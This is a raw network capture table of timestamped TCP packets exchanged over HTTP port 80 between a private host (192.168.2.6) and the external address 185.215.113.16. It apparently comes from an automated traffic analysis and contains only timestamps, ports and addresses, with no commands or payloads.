Dec 9, 2024 21:09:27.074863911 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.074903011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.075110912 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.075195074 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.075612068 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.075653076 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.075928926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.075965881 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.076466084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.076503038 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.076646090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.076685905 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.077297926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.077337027 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.147238970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.147309065 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.147370100 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.147464037 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.147656918 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.147700071 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.147854090 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.147893906 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.148186922 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.148226976 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.148854017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.148921013 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.149015903 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.149055004 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.149540901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.149578094 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.149653912 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.149689913 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.150449038 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.150485992 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.150675058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.150715113 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.151329994 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.151365995 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.151596069 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.151632071 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.152148962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.152184963 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.152196884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.152231932 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.153043032 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.153054953 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.153079987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.153101921 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.153968096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.154009104 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.154033899 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.154072046 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.154776096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.154813051 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.154917002 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.154952049 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.232836962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.232894897 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.232923031 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.232965946 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.233072042 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.233107090 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.233177900 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.233218908 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.233910084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.233951092 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.234117031 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.234157085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.234723091 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.234762907 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.234828949 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.234868050 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.235490084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.235527992 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.235698938 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.235734940 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.236407995 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.236447096 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.236598969 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.236639023 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.237128973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.237165928 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.237827063 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.237868071 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.238095045 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.238107920 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.238135099 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.238141060 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.238859892 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.238872051 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.238900900 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.239670992 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.239711046 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.239753008 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.239789963 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.240467072 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.240505934 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.240885973 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.240921974 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.241187096 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.241223097 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.241281033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.241314888 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.242006063 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.242042065 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.242775917 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.242813110 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.242970943 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.243016005 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.243639946 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.243652105 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.243678093 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.243702888 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.243726015 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.243766069 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.244425058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.244465113 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.244698048 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.244738102 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.245228052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.245264053 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.245573044 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.245608091 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.246046066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.246084929 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.246119976 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.246153116 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.246889114 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.246900082 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.246932030 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.246941090 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.247719049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.247776031 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.248368979 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.248423100 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.248840094 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.248882055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.249342918 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.249353886 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.249383926 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.249401093 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.249669075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.249706984 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.250188112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.250224113 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.250786066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.250823021 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.251197100 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.251234055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.251373053 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.251409054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.251734972 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.251771927 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.251883984 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.251923084 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.252635002 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.252674103 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.252779961 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.252814054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.253360033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.253396988 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.253591061 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.253633022 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.254208088 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.254245043 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.254398108 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.254436970 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.254955053 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.254993916 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.255029917 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.255067110 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.255841017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.255877018 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.256066084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.256102085 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.256617069 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.256650925 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.256772041 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.256814003 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.257380962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.257416964 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.257448912 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.257479906 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.258210897 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.258244991 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.258312941 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.258352041 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.259121895 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.259154081 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.259229898 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.259264946 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.259828091 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.259865999 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.260090113 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.260124922 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.260638952 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.260680914 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.260967016 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.261003017 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.261533022 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.261570930 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.261910915 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.261951923 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.262330055 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.262366056 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.262371063 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.262403011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.263237953 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.263277054 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.263348103 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.263386011 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.263902903 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.263915062 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.263942957 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.263953924 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.264678001 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.264718056 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.264790058 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.264828920 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.265532970 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.265572071 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.265642881 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.265681028 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.266319990 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.266356945 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.266463995 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.266506910 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.267196894 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.267231941 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.339492083 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.339545965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.339564085 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.339600086 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.339860916 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.339873075 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.339905977 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.339919090 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.340600014 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.340615034 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.340653896 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.340667009 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.341344118 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.341386080 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.341701984 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.341743946 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.342128038 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.342169046 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.342192888 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.342230082 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.342902899 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.342947006 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.342998028 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.343050003 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.343693972 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.343756914 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.343905926 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.343951941 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.344547987 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.344585896 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.344634056 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.344677925 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.345334053 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.345372915 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.345602989 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.345645905 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.346133947 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.346167088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.346366882 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.346405983 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.346946955 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.346985102 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.425111055 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.425184965 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.425230026 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.425291061 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.425492048 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.425523996 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.425543070 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.425554991 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.426342010 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.426378012 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.426836014 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.426872969 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.427166939 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.427180052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.427203894 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.427221060 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.427985907 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.428023100 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.428227901 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.428262949 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.428781033 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.428817987 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.428972006 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.429009914 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.429866076 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.429905891 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.430164099 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.430202007 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.430613995 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.430624962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.430658102 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.431269884 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.431293964 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.431324959 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.431338072 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.432468891 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.432511091 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.432517052 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.432568073 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.432950020 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.432991982 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.433124065 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.433163881 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.433693886 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.433747053 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.433775902 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.433816910 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.434472084 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.434516907 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.434932947 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.434977055 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.435305119 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.435344934 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.435441017 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.435481071 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.436053991 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.436103106 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.436495066 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.436537027 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.436944962 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.436974049 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.437005997 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.437021971 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.437697887 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.437740088 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.438194036 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.438235998 CET	49898	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:27.438460112 CET	80	49898	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:27.438499928 CET	49898	80	192.168.2.6	185.215.113.16
